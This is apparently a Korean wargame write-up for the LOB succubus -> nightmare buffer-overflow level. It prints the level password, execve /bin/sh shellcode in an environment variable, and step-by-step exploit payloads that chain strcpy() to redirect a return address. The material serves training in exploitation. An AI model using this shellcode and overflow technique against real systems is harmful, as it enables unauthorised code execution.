LOB succubus -> nightmare
ID : succubus
Passwd : here to stay
접속해서 ls 명령어로 파일을 확인합니다.
code를 보니 첫 번째 Return Address는 strcpy() 함수에 걸어줘야 하고 두 번째 Return Address는 AAAA로 덮어씁니다. 그래서 한 번에 해줘야 할 것만 같은데, strcpy 함수의 기능을 살펴보면, 어떤 주소에 어떤 문자열을 덮어쓸 수 있습니다.
그럼 AAAA로 덮여진 두 번째 Return Address의 값을 strcpy() 함수를 이용해서 셸코드가 있는 주소로 넘겨주면 될 것 같습니다.
셸코드를 환경 변수에 등록하도록 하겠습니다.
export SC=$(python –c ‘print “\x90”*13000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")
그리고 환경 변수의 주소를 찾아내는 소스를 짜서 실행하겠습니다.
환경 변수의 주소를 찾았으니, gdb로 strcpy() 함수의 주소를 찾아내겠습니다.
core 파일을 생성해서 strcpy() 함수를 이용해서 덮어줄 두 번째 Return Address를 구합니다.
두 번째 Return Address를 환경 변수의 주소로 덮어야 하기 때문에, argv[2]에 환경 변수의 주소를 쓰겠습니다.
payload : ./nightmare `python –c ‘print “A”*44 + “\x10\x84\x04\x08” + “AAAA”(strcpy()로 덮어줘야 할 부분) + “BBBB”(“AAAA”의 주소) + “CCCC”(“argv[2]의 주소”)’` `python –c ‘print “\xbb\xcb\xff\xbf"’`
core 파일을 열어보겠습니다.
저기 하이라이트 부분의 주소를 strcpy()의 첫 번째 인자 “BBBB” 부분에 넣습니다.
payload : ./nightmare `python –c ‘print “A”*44 + “\x10\x84\x04\x08” + “AAAA”(strcpy()로 덮어줘야 할 부분) + “\xb0\xc7\xff\xbf” + “CCCC”(“argv[2]의 주소”)’` `python –c ‘print “\xbb\xcb\xff\xbf"’`
이제 argv[2]의 주소를 찾겠습니다.
하이라이트 부분이 argv[2]입니다.
이제 다 구했으니 완성된 payload를 짜보도록 합시다.
payload : ./nightmare `python –c ‘print “A”*44 + “\x10\x84\x04\x08” + “AAAA” + “\xb0\xc7\xff\xbf” + “\x47\xc9\xff\xbf”’` `python –c ‘print “\xbb\xcb\xff\xbf"’`
공격해봅시다.
exploit!
감사합니다.
'System&Write up > LOB' 카테고리의 다른 글
LOB nightmare -> xavius Write up (0) | 2017.11.15 |
---|---|
LOB zombie_assassin -> succubus Write up (2) | 2017.11.13 |
LOB assassin -> zombie_assassin Write up (0) | 2017.11.12 |
LOB giant -> assassin Write up (0) | 2017.11.09 |
LOB bugbear -> giant Write up (0) | 2017.11.08 |